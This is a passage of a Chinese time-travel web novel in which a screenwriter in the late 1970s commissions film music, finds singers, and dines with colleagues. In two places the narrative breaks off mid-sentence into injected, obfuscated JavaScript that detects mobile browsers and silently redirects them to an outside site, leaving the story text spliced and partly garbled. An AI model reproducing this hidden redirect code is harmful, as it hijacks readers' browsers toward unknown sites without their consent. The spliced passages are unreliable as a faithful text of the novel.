腾格尔可太厉害了,嗓音自带广阔草原的苍凉,翻唱张韶涵的《隐形的翅膀》,那喜感,笑得坐下面的原唱差点儿没拉到椅子上。 心里不断嘀咕,您唱的这到底是隐形的翅膀还是钢铁之翼? 一首《日不落》愣是被他演绎成了烫嘴的太阳。 这国宝级大叔跟张碧晨合作《桃花朵朵开》,一张嘴就把新晋歌坛小天后带歪了十万八千里,调子都跑到凌霄宝殿上去了。 高远决定去会会他,他那嗓音太适合演唱这首《英雄谁属》了。 至于《两两相望》,辛晓琪就别想了,她是宝岛籍歌手,这会儿大陆和宝岛的关系就不多赘述了,懂的都懂。 不过高远心目中也用合适的人选,只是找到她可能会费点劲。 把两首歌收进抽屉里,高远端着盆去水池那边洗漱,完了回来躺下睡觉。 一觉到大天亮。 高远不爱去北影厂食堂吃早餐,倒不是食堂的饭菜说有多难吃,其实早餐种类还是蛮丰富的。 他主要嫌人多,吃顿饭跟这个打招呼,跟那个聊几句的,一顿饭能磨叽半拉小时。 人家主动跟你交流了,你一点都不热情,又得被大家伙儿说你恃才傲物、眼高于顶。 所以,洗漱完后他拿了昨晚写的那两首歌,下楼骑上自行车,找了家国营早餐店要了三两馄饨,稀里哗啦吃完,直奔北电。 北电这会儿在小西天,距离北影厂两公里,非常近。 几年后将更近,因为它搬到了北影厂隔壁。 高远在学校门口蹁下车子,摸出北大校徽别在胸口,向看门大爷指了指。 大爷的嘴角都快撇到天上去了,赶苍蝇似的挥挥手,意思是:滚进去吧! 他哼了声,又蹁上车子一阵猛蹬。 骑了没多久,一眼瞧见端着个铝饭盒的谢园。 谢园也看见了他,一溜小跑儿着过来了,一见面就展现出火一般的热情,道:“哟,高老师,这才分开几天呐,您就想我了,还专门跑来看望我,这可真让我心生感动。 您吃了没?没吃我请您去食堂对付一口?” 他就是个话痨,跟谁都能贫两句。 “滚犊子!我不是来看你的,我来找个人,我问你,胡伟立老师你熟么?”高远没心思跟他说废话,直接问道。 “不算熟,但知道学校里有这号,高老师找胡老师有事儿?” “嗯,约两首曲子。” “那您跟我来吧,我带您去教学楼。” 那就走吧。 高远随他去了教学楼那边,边走边闲聊了两句:“你上午没课?” “有一节表演课,我不大爱去,就逃了。”他倒实诚。 高远挺喜欢他的,演技好,性格也开朗,长得一般,只能吃喜剧这碗饭,虽说表演类型单一,成不了多大腕儿,却也是个实力派。 “你们班谁演技最好啊?”高远问道。 “最好的不都被你们厂提前签过去了么。” “方舒和刘冬啊?” “还有个周里京,但那人傲气,用鼻子眼儿看人,跟姆们玩儿不到一起去,姆们也不大爱搭理他。张丰毅也不错,演个二傻子绰绰有余。” 高远笑不活了,因为张丰毅就在他后边儿跟着呢。 谢园的后脑勺挨了一下,他一扭头儿,瞪着眼道:“打我干嘛?” 张丰毅也瞪眼,道:“你编排我干嘛?” 谢园摸着后脑勺嘿嘿笑道:“你听见了?嗐,我这不是开玩笑呢么。给你介绍介绍,这位是着名编剧高远老师。” 张丰毅瞧着高大帅气活儿好事儿不多的高老师,眼睛亮了,主动伸出手说道:“您就是《瞧这一家子》的编剧高老师啊,幸会幸会,我可太喜欢您这部电影了。” 你好啊,祥子。 高远也乐了,伸手跟他握了握,道:“您客气了,在剧组那会儿常听小谢聊起他的同学来,我对您也耳熟能详。” 张丰毅挠头一笑,道:“园子从您组里回来后也跟我们显摆,说剧组有多团结,导演和编剧对他有多关照,他表演得多么多么好,前面说的我们信,我一看高老师就是个特别能团结群众的人。 后面那些话我们连一个标点符号都不会信的,就你那破演技,跟我能比?” 北电的同学们都这么能吹吗? 这本事,好嘛,见了骆驼不吹牛啊! 高远乐开了花,倒想起一茬事儿来,得,送个顺手人情吧。 “我们北影厂第三创作集体的大导演凌子风老师正在筹拍《骆驼祥子》,我觉得男主人公挺适合你的,回头我帮你跟凌大爷打声招呼,你抽时间过去试试戏。”高远笑道。 咝! 张丰毅倒吸了口谢园,再望向高远的目光就充满了千里马看伯乐的味道了。 “哎呀,这让我说什么好啊,千言万语都不能表达我对您的感激之情,这么着吧,这事儿不管成不成,您一定给我一个请您吃饭的机会,无论如何都要赏光啊。” 本小章还未完,请点击下一页继续阅读后面精彩内容!高远笑着说:“等事情办成了,你演上戏了再请我吃饭也不迟。” 谢园撇着嘴说道:“你当高老师什么人啊?高老师差你这顿饭么,高老师提携你,你心里有点儿数就成,要真想表达表达感激之情,回头提点东西上高老师家去。” 高远照他脑瓜子来了一下,“你这都什么馊主意?张大哥别听他胡说八道啊,这个货你就不能给他好脸儿,不然他真蹬鼻子上脸。” 张丰毅笑道:“您看人真准。” 又挨了一下的谢园哭丧着脸说:“怎么是个人都打我呢。” 张丰毅哈哈一乐,道:“你欠打呗,谁叫你嘴上没个把门儿的。” 谢园不吭声了。 高远把车子支好上了锁,扭头一瞧,不远处有个皇阿玛正冲这边挥手。 嘿,今儿可看全乎了。 他故意问道:“那位同学是谁啊?” 谢园一撇嘴,道:“张铁霖。” 高远仔细看看,嘀咕道:“这形象,演个淫贼太合适了。” “哈哈哈哈……”那二位放声大笑起来。 “别搭理他,咱赶紧上楼吧,不然一会儿该打铃了。” 谢园说着,进了楼道。 两人跟上。 来到一间办公室门口,见门开着,谢园往里一瞧,扭头说道:“胡老师在呢。” 高远也看了看,一个四十多岁,三七分头,气质儒雅的中年男子正坐在位子上擦拭一把京胡,正是胡伟立。 三人走进去。 胡伟立抬起头,问道:“同学有事儿吗?” 谢园快走两步,道:“胡老师您好,我是78级表演系的小谢,您还记得我吧?” “胡老师,我叫张丰毅,前几天还帮您打过开水。” 老师,我送的是挂历! 老师不记仇儿。 高远控制了控制,差点儿笑出声儿来。 胡伟立抬抬眼皮,看两人一看,淡淡地说:“哦,是你们俩啊,我有印象,你俩来找我有事情吗?” 谢园忙把高远介绍给胡伟立道:“我俩找您没啥事儿,是北影厂的着名编剧高远老师有事儿请您帮忙。” 胡伟立有点诧异,问道:“北影厂?高老师?您找我有啥事?” 高远直言不讳,将来意说了一遍,又道:“我知道您是配乐方面的大家,所以才冒昧来访,请您千万不要在意。” 胡伟立这人怎么说呢? 两个字:认钱。 三个字:钱是爹! 创作的插曲很牛逼。 《母与子》《市集》《偷功》《温馨时刻》《卧龙藏虎笑升平》《勇往直前》等等。 这货和黄沾、顾嘉辉、卢冠廷等人一起创造了香港电影最辉煌时代音乐的代名词。 此时,他在大陆还没有名气,但他哥哥在港岛立法局工作,86年就把他弄到香港去了。 他去香港,纯为了挣钱。 高远太了解这货的性情了,直言不讳道:“我拍了一部电影,是写太极拳的,弘扬中国传统武术—太极拳法。 现在片子拍完了,但插曲没人能写,我听说您是作曲高手,遂拜托两位朋友介绍我与您相识,想请您代为写点配乐,冒昧打扰,您别见怪。” 喜欢重返1977:从成为高考状元开始请大家收藏:()重返1977:从成为高考状元开始更新速度全网最快。 第201章 拉得不好,瞎拉 一听有钱赚,胡伟立脸上立马精彩万分,热情洋溢请高远坐下来细聊,又看看谢园和张丰毅,道:“你俩今天没课吗?” 两人一听顿时尴尬,屁滚尿流地闪了。 “喝茶还是喝白开?” “您别忙了,待不了多大会儿。” 胡伟立呵呵笑道:“那好,我们直入主题,你想要什么类型的配乐?” 高远说道:“刚才我介绍过了,我们厂拍了部展现太极功夫的影片,也就是武打片,我想跟您约几首中国风的配乐。” “中国风?这个概念倒是新鲜,你还能说得再详细一些吗?”胡伟立大感兴趣。 高远思考片刻,道:“我直接举例说明吧,中国风音乐广泛采用传统乐器和古典曲调,如古筝、唢呐、琵琶、笛子、萧等等,这些乐器为歌曲注入了独特的东方韵味。 中国风又可以被称为武侠风,音调婉转、回环,还透着些凌厉和霸气。 那个啥,我这么说您或许还感受得不太直观,您的京二胡能借我使使不?” 胡伟立震惊道:“你会拉京胡?” “拉得不好,瞎拉。”高远弹了一手好吉他,拉二胡是上辈子自个儿琢磨的。 带弦儿的乐器,只要掌握了一门,基本上就一通百通了。 胡伟立对面前这个年轻编剧越发感兴趣起来,笑着把京胡递给他,道:“来,试试我这把京胡音色如何。” 高远也不客气,接过来掂了掂分量,入手微沉,木质选用的小叶紫檀,百年老**皮蒙的琴筒,银质琴弦。 他将京胡竖在大腿上,调了调音色,一首胡伟立的《温馨时刻》宛转悠扬地在半空中飘荡起来。 胡伟立更震惊了,这家伙居然会揉弦,并且这歌儿…… 竟然让我产生了一股子气运被夺舍的古怪感觉。 这就是中国风啊。 深刻! 太深刻了! 胡伟立仿佛看到了一个年轻人,随着旋律在打太极拳。 相得益彰啊相得益彰。 他拉开抽屉拎出个录音机来,接通电源摁下了录音键。 高远留了个心眼儿,没拉完,拉了一半就停住了。 不能真把老胡的作品整个嫖完,那就没**儿了。 “您觉得如何?” “您水平很高啊。” “谬赞了。” “我大概明白您想要什么样的插曲了。”胡伟立一伸手,高远递上京胡,他微闭着眼,酝酿片刻,把整首曲子补充完整。 跟后世一毛一样。 “我还能给你弄出一首音调轻快的,不过,我得看看影片,根据电影风格设计插曲。话说你们那电影的后期制作完成了没?”胡伟立问道。 高远笑着说:“全部完成了,刚好今天下午要举办内部看片会,您要是有时间,下午三点钟,请您过去给我们的片子提提意见。” “提意见可不敢当,北影厂人才济济,相信这部《太极》一定会是部出色的影片。那就说好,下午三点钟,我准时到北影厂。” “好,我在厂门口接您。” “那个啥,我还想问问啊,高老师……” “您喊我小高就行,在您面前我可不敢自称老师。” “好吧,那小高,你是只要插曲吗?片头片尾曲你们找其他人写好了?” 前文提过,给电影配乐,一首歌三百块,如果能拿到整部电影所有的歌曲创作权,这无疑是个大活儿。 高远又笑了笑,清楚他的心思,说道:“片头片尾曲在下不才,自己写了两首。” 他拿出来,递给目瞪口呆的胡伟立。 胡伟立接过去,打开一看,轻声哼唱,然后…… 他一拍大腿道:“好歌,好歌啊!这两首作品出类拔萃,都是不可多得的佳作!曲风之新颖,歌词之意境简直完美无瑕! 我尤其喜欢这首《两两相望》,江湖儿女、侠骨柔情,在这首歌里被展现得淋漓尽致。” “那不如这样,这两首歌也交给您来进行制作,我们剧组给您1000块钱制作费,您看如何?” 高远抄袭别人的作品一百能,让他制作一首完整的歌曲他就完犊子了。 他本打算跟胡伟立见过面后去北大走一遭,把自己老娘冉湘君请出山,把这两首歌制作制作。 后一想,老娘都快80岁的人了,身体虽然康健,但精力可比不上小年轻的了,还是别给老娘添麻烦了。 一听高远说能挣1000千块,胡伟立眉毛都笑飞了,点头道:“成,我答应你了,不过先说好啊,我写的那两首插曲得单算。” 你比我还钱串子! 高远爽快地答应下来,约定好下午见面,便起身告辞。 搞定了胡伟立,高远还有得忙。 他蹬着自行车去了中国音乐学院,到了后奔指挥系,顺利找到还没那么沧桑的腾格尔,说明来意后腾格尔也震惊了。 “您是从哪里打听到我的?”他问道。 “我自然有我的渠道,您看看这首歌,就说愿不愿意唱吧。”这事儿高远没法解释,总不能跟他说,你上辈子的在乐坛的地位和成就我心里门儿清吧? 真说出来人家也不信啊。 腾格尔穿一套民族特色服装,并不是蒙古长袍,天太热,他一身短打扮,这会儿还没留标志性的大胡子,脸上干干净净、清清爽爽。 把《英雄谁属》的曲谱接过来,他快速浏览了一遍,一亮嗓子那个苍凉中带着几分豪情壮志的声音差点让高远纳头便拜! 腾格尔也被这首歌恢宏大气的曲风深深吸引住了。 且不管对方是怎么找到自己的,他笑容满面道:“我愿意唱,愿意唱,感谢您给我这个机会。” 高远笑着跟他握握手,道:“曲谱我给您留下,您尽快熟悉,明天上午北影厂见吧,您到了后去文学部找我就成。” 腾格尔笑着说好。 高远下楼,离开音乐学院,蹬着自行车吭哧吭哧回到了北影厂。 下午三点钟,胡伟立应邀来到厂门口,高远亲自出门迎接。 两人握了握手,他跟佟大爷打声招呼,把胡伟立带进厂里,又给送进小放映厅,介绍他跟老厂长、孙副厂、朱副厂,以及王导、李导、各位导认识了一下,叮嘱李文化把人照顾好了,然后闪人。 《太极》粗剪后他看过一遍了,成片效果完全符合他的要求,心里有数,就不想再多看一遍了。 他事情很多的,比如说,去找适合演唱《两两相望》这首歌的歌手。 《两两相望》原名叫《俩俩相忘》。 什么玩意儿啊,高远觉得特乡土,特咬嘴,就给改成《两两相望》了。 他回到文学部,往办公桌后面一坐,问梁晓声道:“去明珠的火车票好买不?” 梁晓声反问道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581169|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你去明珠干什么?” “找个人。” “男的女的?” “一个歌手……或许还算不上歌手,女的,我给《太极宗师》写了首歌,觉得挺适合那位女同志来演唱的。” 梁晓声乐了,道:“懂,玄学嘛,现在还不是歌手,高老师一培养,嘿,歌坛明日新星!” 郑伟笑着说:“你费那劲干嘛?还跑到明珠市去找歌手,不耽误工夫啊?四九城那么大,还挑不出一个合适演唱你歌曲的女歌手来?” 高远苦笑道:“郑哥,我在脑子里过了一个遍,还真就挑不出一个适合唱我那歌儿的女歌手来。” 施雯心提了个建议,“让你姐来试试看。” 前阵子高雅来厂里录制《三月里的小雨》,着实震住了一批人,嗓音太独特了。 高远说道:“我考虑过啊,我姐的音色高亢明亮,我创(抄)作(袭)的这首歌偏深情一些,给她唱也不合适。” “不试试怎么知道呢?”施雯心坚持自己的观点。 高远想了想,也是这个道理,起身走到电话旁,说道:“我听您的,这就给我姐打电话,让她过来试试。” 施雯心微笑道:“是个听人劝吃饱饭的好孩子。” 高远嘿嘿一笑,拿起电话打给北师大团委。 接电话的是团委的一名干事,“哪儿啊?” “北影厂文学部,我叫高远,是高雅的弟弟,请问我姐在吗?” “哟,大才子啊,我听说过你,你姐没在,下午有课,她这会儿应该在教室里上课呢,找你姐有事儿?我帮你去喊一声?” “哎呀那可太感谢您了,我这倒也不是很着急,就不打扰她上课了,您要是方便的话,麻烦您通知她五点左右给我打过来吧,我在办公室里等着。” “这有啥麻烦的,小事一桩,我这就去找她一趟,你等电话吧。” 说完,人家挂了。 施雯心对高远说道:“你大爷让你找个时间到家里来吃饭。” 高远明白小老太太的意思,葛优进厂了嘛,自个儿促成的,老两口要感谢感谢自个儿。 他也不是个矫情的人,笑着说道:“成啊,大爷的面子我得给,择日不如撞日,今儿晚上您给我做炸酱面吃呗,我可是老早就听优哥说您做炸酱面是拿手绝活,心心念念老惦记着呢。” 施雯心乐了,道:“想吃炸酱面那还不好说啊,得,你们几位谁跑一趟演员剧团,去喊优子,让他去六必居买干黄酱,谁去谁今天晚上有口福了。” 梁晓声抢了先,站起来说道:“甭通知优子了,干脆我去买不得了,您看还需不需要带点儿菜码回来啊?” 施雯心笑道:“绿豆芽、心里美、青豆,就买这三样吧,黄瓜家里有。” “得嘞,我这就去。” “小梁你别着急,我还没给你钱呢。” “嗐,这能花几个钱。” “不成不成,说好了我请客,怎么能让你掏钱。另外啊,你再帮我买条鲤鱼回来。”施雯心掏出十块钱来塞给梁晓声。 梁晓声只好接了,出门大采购去了。 高雅的电话不到半个小时就回了过来。 高远把事儿一说,姐姐立刻道:“我马上就过去,你在办公室等着我啊。” 这货把电话挂了,摸摸鼻子,心说我就怕你乘兴而来败兴而归。 得,唱着看吧。 第202章 《两两相望》归亲姐了 小放映室里,由厂领导和几位老导演组成的片审组已经看完了全片。 109分钟的影片看得这几位热血沸腾。 汪阳满脸得意,问几位道:“片子看完了,你们感觉如何啊?” 谢添导演率先说道:“我印象最深刻的是,武打动作潇洒、凌厉,看得我眼花缭乱,这种风格的武打片,我还是头一次看到,不错,是部好作品。” 孙文今笑着评价道:“不夸张地说,这片子足以影史留名了,成片质量太棒了。” 几位皆点着头说好,称赞的话不要钱一般往外秃噜。 李文化对汪阳说道:“老厂长,小高的提议,那您看……” 汪阳爽朗一笑,心情好的不得了,道:“明天上午我带着拷贝跑一趟,我相信廖公看过后也会喜欢这部电影的。你们抓紧把电影配乐的事情搞定。 这件事情,辛苦胡老师了。” 胡伟立边看边拿个本本记录着,闻言笑道:“老厂长您太客气了,您放心,我必全力以赴。” 一部电影看下来,他也整得血脉贲张。 一名工作人员走进来,对李文化说道:“导儿,高老师让我来告诉您一声,他找的女歌手到了。” 没等李文化开口,胡伟立迫不及待地说道:“那还等什么,抓紧带我过去啊,我今儿就投入到工作中,看看歌手的水平,合适的话争取明天先把《两两相望》给录了。” 工作人员见李文化微笑着点头,道:“那您跟我来。” 胡伟立跟大家打声招呼,跟随他去了。 领导们也很好奇,都说一起去看看吧。 于是呼啦啦跟上,奔录音棚。 高远和高雅已然在棚里等候了。 姐姐拿着曲谱熟悉了几遍,大眼睛一眨不眨盯住高远,问道:“这歌儿真是你写的?” 弟弟翻个白眼儿,一点都不心虚,道:“难不成还是你写的啊?” “我怎么那么不信呢。” “那你别唱了。” “不!我要唱!” 高远小声蛐蛐,“能挣300块钱呢。” 高雅眼睛亮了,“我也能挣钱了?” “当然!” “那你放心,姐好好唱,今后你电影里的歌曲姐姐包圆儿了!” 想屁吃呢你? 我给你一首《英雄谁属》你唱一个我听听。 高远笑而不语。 他雄心壮志,八十年代内娱全面发展,影视歌都红火的不得了,他还想搞音乐产业呢。 把什么杭天琪啊、解晓东啊、蔡国庆啊、崔摇滚啊、黑老大啊之类的一网打尽,一统歌坛江湖! 靠卖磁带,一不小心,嘿,发了! 当然,按照既定的规划,姐姐该捧也得捧,但不能把她局限在专唱影视歌曲这个领域中,那格局就小了,发展潜力也被圈住了。 这些话现在还不能跟她说,高远怕姐姐产生啥误会。 胡伟立来得很快,他后面跟着一堆领导、大导。 一见这阵势,高远乐了,“录首歌而已,至于么,还把领导们给惊动了。” 汪阳拍拍他的胳膊,笑道:“我们刚看完成片,很不错的一部电影,听说歌手来了,就集体过来凑个趣儿。哟,小雅啊,来给你弟弟帮忙了?” 高雅嘿嘿一笑,道:“老厂长好,我来挣您的钱了。” 老厂长开玩笑道:“看见没,这就叫不是一家人不进一家门,这一家子,都是钱串子。” 其余几位都放声大笑起来。 胡伟立问高雅道:“词曲都熟悉过了吧?” 高雅点头道:“熟悉过了,您……” “我是这部影片的音乐监制,我叫胡伟立,你喊我老胡就成。” “那可不行,我喊您胡老师吧。” “成啊,你怎么顺口怎么喊。时候不早了,你先试唱一段儿,我得听听你的音色,心里有个数后才能完成编曲工作。 进去吧,咱们马上开始。”胡伟立雷厉风行。 高雅进到里屋,把门关严。 胡伟立往调音台后面一坐,把耳机扣在头上,音乐制作大佬的范儿就起来了。 领导们也自觉,没一个出声儿的,站成一排透过明亮的玻璃窗望着里面的高雅,期待着她给大家带来精彩的演唱。 胡伟立见高雅准备妥当,也戴好了耳机,拿了话筒轻声说道:“先清唱一段儿吧,我提醒你一句,这首歌的前半部分偏柔情一些,你要把声音降下来,把感情融入进去。 到了副歌部分,你亮嗓子,带上些高亢激昂。 好,可以开始了。” 高雅点头表示明白,她闭着眼酝酿了片刻情绪,开口缓缓唱道:“拈朵微笑的花,想一番人世变换,到头来输赢又何妨,日与月互消长,富与贵难久长,今早的容颜老于昨晚……” 我靠! 高远震惊了! 姐姐的演唱水平还是被自己严重低估了啊。 他起了一身鸡皮疙瘩。 姐姐的音色真的是要婉转有婉转,要高亢有高亢,来回切换,挥洒自如啊。 胡伟立的眼睛也嗖地亮了起来。 他是个对音乐表达要求很严格的人,虽说听出来一点瑕疵,比如说歌词背得不熟,有两个音调跑偏了一些。 但这个音色,辨识度太高了。 他情不自禁地攥紧了拳头。 里面的高雅继续演唱:“浪滔滔,人渺渺,青春鸟飞去了,纵然是千古风流浪里摇,风萧萧,人渺渺,快意刀山中草,爱恨的百般滋味随风飘……” 胡伟立啪地拍下手,猛然站立起来,一眨不眨盯住屋里头的高雅,这棵苗子可太好了。 刚才他听那意思是,这姑娘是高远的姐姐。 他心说,这一家子,天赋都这么高吗? 男孩子是大编剧,女孩子是未来的歌坛巨星。 什么样的父母才能培养出如此优秀的一对儿女来啊。 见他眸光大作,激动得跟发现了新大陆的哥伦布似的,高远就知道姐姐稳了。 原本他准备去明珠市找**阿敏来着,就算自己没时间去,也想拜托《故事会》的顾小白同志帮着邀请邀请。 结果,得,倒是省劲了。 但是阿敏将来也能用得上,嗯,以后再招揽吧。 一曲演唱完毕,胡伟立大声喊好,又把话筒拿在手里,说道:“小高,我说两个缺点,首先,能听出来你对歌词的熟悉度还不够,这个今晚回去后要认真背一背。” 高雅不好意思地点点头,她也知道自己发挥的不好。 胡伟立又说:“其次,副歌部分破了两个音……浪滔滔,人渺渺,青春鸟飞走了,纵然是千古风流浪里摇,后一句,重音在‘风’字上面,音调要有明显的上扬。 你显然也意识到这一点了,但太刻意拔高调,导致跑调了。” “我明白了老师,回去后多练习几遍。”高雅谦虚的不得了。 胡伟立一笑,扭头儿对高远说道:“你姐姐厉害啊,无论是音准,还是演唱时自然流露的感情,都无可挑剔,是个好苗子,大有前途!” 高远也笑道:“您过誉了,我只能说家姐有点音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581170|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐天赋而已。” 老厂长撇着嘴说:“过度的谦虚就是虚伪,小雅岂止是有点天赋啊。胡老师,我不瞒你说,小雅师从音乐教育大家冉湘君先生。 要知道,湘君先生多年未开山门,若小雅仅仅是有点天赋的话,先生也不会将她收为关门弟子,带在身边悉心教导了。” 咝! 胡伟立倒吸了一口凉气,“难怪难怪,原来小高姑娘是湘君先生的得意门生啊,这就不难解释她为何能在刚拿到曲谱,还不完全熟悉的情况下,就把这首歌演绎得让我几乎挑不出毛病来了。” 这时候,高雅从里屋走了出来。 胡伟立笑着说:“姑娘,这首歌就定你来唱了,你今晚到家后多练习练习,我今晚不睡也把编曲搞定,咱们明天……明天下午正式开始录制。” 高雅有些为难,道:“老师,我明天下午还有课要上。” 汪阳大手一挥,道:“请假!你要是不方便,我差人跑一趟你学校,代你向班主任说明情况,替你请假!” 高雅忙说道:“那倒不用,我自个儿去请就行。” 胡伟立道:“那就说好了,明天下午你过来,两点钟吧,我在这里等你。” 高雅说好,又问高远道:“你晚上回家吃不?” 高远摇头道:“不回去了,我去优子家混饭去。” 高雅笑笑,说:“那我去找群群了,我把群群带回家吃饭。” 喂! 那是我对象啊。 她应该跟我走的。 高远无声呐喊。 高雅可不管他怎么想的,跟领导、导演、老师们打过招呼后转身离开,走之前还撂下一句话:“明天录完,别忘了把钱准备好啊。” 汪阳笑道:“跟你弟弟要。” 高远说道:“跟李导要。” 李导说:“放心,亏不了的。” 众**笑。 夜幕降临,高远去混饭吃。 他也没空着手,拎了两瓶泸州老窖。 到老葛家的时候,他见施雯心主任和王导正在炒菜,楼道里全是油烟子味儿,混杂着蜂窝煤燃烧散发出来的独特香气。 哎呀,那叫一个酸爽。 高远凑过去,想恶作剧一下。 被小老太太敏锐地察觉到了,一扭头,道:“你小子想干嘛?吓唬老太太啊?” 高远没得逞,一乐,道:“我可不敢吓唬您,真要把您吓出个好歹来,我葛大爷的陈年老皮鞋我可挨不了几下。” 王好为乱迷糊,“陈年老皮鞋又是个啥故事啊?” 施雯心噗嗤一笑,道:“这小子刚进厂那会儿,有一天早上去食堂里吃饭,穿了套嘎巴新的毛料军装,外面罩着件将校呢大衣,嘚嘚瑟瑟的。 我们几个一瞧,他脚上却踩着双老棉鞋,哎哟,那叫一个不协调啊。 我就开他的玩笑说,你小子要是没皮鞋,我家老头儿还有双退了休的,回头我给你拿过来。 小王你知道这小子跟我说什么吗?” 王好为笑着说道:“一准儿没好话。” 老太太点头道:“你猜对了,他跟我说:我谢谢您了,您那双陈年老皮鞋还是让老爷子留着当传家宝吧,传个几辈儿人,说不定都能当文物卖了。 你说气人不气人?” 王好为笑得脸上都起褶子了,嗯嗯了两声,道:“忒气人了,这是他能说出来的话,这小子嘴损着呢。” “可不是咋的。” 高远跟二位哈拉两句,进了家门,见李晨声也在,还有梁晓声,就知道今晚喝酒的主力来齐了。 第203章 坚定心志不进厂(求票) “你小子来就来吧,咋还带酒啊,怕大爷管不起你酒喝啊。”葛老爷子见他拎着两瓶酒,埋怨了一句。 “我这么著名一个编剧,两手攥空拳来您家混饭吃,传出去我还要不要做人啊。”高远把酒递给优子,笑着对老爷子说道。 老爷子撇着嘴,道:“没错儿,您是大腕儿,大编剧,特要脸,从来不干占人便宜的事儿。” 这话仿佛在讽刺我。 高远装作没听懂的样子,嘿嘿傻笑。 不大会儿,施雯心和王好为一人端着两盘菜进了屋。 葛优出门,也端回来两盘。 “你们几个先喝着,锅里还炖着鱼,马上就好。”施雯心招呼道。 “主任,您别弄太多了,这天儿还挺热,吃不完放一宿就全馊了。”高远客气道。 他眼珠子又不瞎,看得出来,人家是真把他当贵客招待了。 “不多不多,我再炸个素丸子,凑八个菜,咱人这么多,一顿准能吃完。” “哟,今晚伙食不错啊。” 老厂长也拎着两瓶酒进了门,打眼一瞧,菜很丰盛,笑道:“我不请自来,葛老师欢迎不?” 老爷子见他手里那酒瓶脸上就乐开了花,“就冲你这两瓶茅台,你想走都没门儿。快快快,坐下边喝边聊,家里不宽敞,你们将就着挤挤哈。” 老厂长挨着高远落了座,笑道:“葛老师这是批评我没给职工们创造个好的生活条件啊。” 老爷子摆着手说道:“可没那个意思,这年头儿,有间房住不错了,我不说你也知道,那些条老胡同的大杂院里,一家六七口人挤十平米小破房的情况可不少见。 咱们这筒子楼好歹还18平呢,一家几口住,条件太可以了。” 高远凑趣道:“等优子哥挣了钱,让他给您换大别墅住。” 葛老爷子笑着说:“那你小子就多提携你哥吧,我可盼着那一天呢。” 葛优拿着瓶酒挨个倒着,轮到高远时也说道:“您多提携。” 高远翻个白眼儿,道:“看出来了,您二位绝对是亲爷儿俩,轮番把我驾火上烤啊。” 大家就笑了起来。 老爷子端起酒杯来说道:“今天啥主题,我不说大家伙儿心里也有数,这杯酒二两整,我提个意,六口干掉如何?” 都是干脆利索的老爷们儿,大家自然同意。 共同喝了一口,夹筷子菜吃。 汪阳拍着葛存壮的膝盖说道:“葛老师,您别怨我啊,优子进厂这事儿,不是我故意卡着不给你办。 你也清楚我的难处,厂里职工子弟太多了,我开了这个口子,大家伙儿一窝蜂都来找我,给谁办不给谁办都落埋怨。 **脆就一刀切,谁都不给办,这样大家都说不出别的来了。” “我理解,我理解,你有你的难处,我也是个老同志了,这点觉悟还是有的,不能为了解决子女的就业问题给组织上添麻烦。”葛存壮说道。 汪阳正色点头,又道:“不过小远子这事儿办得漂亮,一部戏,就让老**中优子了。 老朱开口要人,老孙看了优子两场戏后也跟我叨叨说,必须把人留在厂里,此等人才绝不能便宜了全总文工团。 这也算是曲线救国,把事儿办成了。” 李晨声追了句:“也能堵住悠悠之口。” 汪阳嗯了声,道:“谁再有意见,让他们看优子两场戏去,觉得自家儿女比优子演技高明,这个门儿我给开。” 葛优忙说道:“老厂长您过奖了,我这演技,只能算刚入门,离‘高明’两个字差得远呢。也都是高老师调教得好,我才初窥了表演艺术的门径。” 汪阳看看高远,笑眯眯说道:“高老师调教年轻演员确实有一套。” “您捧了,我不会讲大道理,也不精通什么表演理论,我那套东西说白了就是野路子,好在跟青年演员们能玩儿到一起去,白话两句大家也不嫌我烦。 您给我换一批老艺术家试试的,别说给他们讲戏了,我站他们跟前儿腿肚子都转筋。” 高远谦虚地说道。 汪阳哈哈大笑道:“你这话夸张了。” 葛老爷子也乐,道:“还真不夸张,有一次我去看《瞧这一家子》拍摄,这小子在陈强老师和黄玲老师跟前儿就不敢嚣张,那态度,哎哟,恭敬的不得了。” 汪阳点点头,道:“都说小远子不懂尊老爱幼,扯淡!这方面我最有发言权了,他哪次见了我和老孙,老陈,还有你老葛,还有凌子风几个,不都是恭恭敬敬、客客气气的。” 葛老爷子也颔首说道:“这没错儿,小家伙儿见了我们几个老的,大老远就打招呼喊大爷。” “您二位就不怕把我捧那么高,我一不小心掉地上全身骨头摔散架了?”高远逗了句。 二位大爷相视一笑。 高远看出来了,老厂长这是无事不登三宝殿啊。 他主动问道:“您老是奔着我来的吧?” 汪阳爽快地说道:“是,你那《太极》也快弄完了,白天大家都忙,我也顾不上跟你聊,既然弄得差不多了,我趁着晚上的空跟你小子聊聊,还记得当初你是怎么向我承诺的吗?” “您指的是出海一事?” “对。” “我考虑过了,往欧美国家发行就甭想了,咱们只要把这部片子卖到日本、南朝鲜和东南亚几国去就算取得最后的胜利了。” 葛优懵懂地问道:“为什么不能在欧美国家发行呢?” 高远端着酒杯抿了一口,一抹嘴说道:“完全不具备那个条件,你像奥斯卡、柏林、戛纳、威尼斯这类国际级电影节,啥时候邀请过中国影片参与过? 我说句大实话吧,欧美资本主义国家举办的电影盛会,特别排斥社会主义阵营拍摄制作的影片。 当然也不能一概而论,只是咱们比较特殊罢了。 像苏联、南斯拉夫、捷克斯洛伐克等国家制作的影片,受欢迎程度还是很高的。 主要是影片类型决定了电影节官方的态度。” 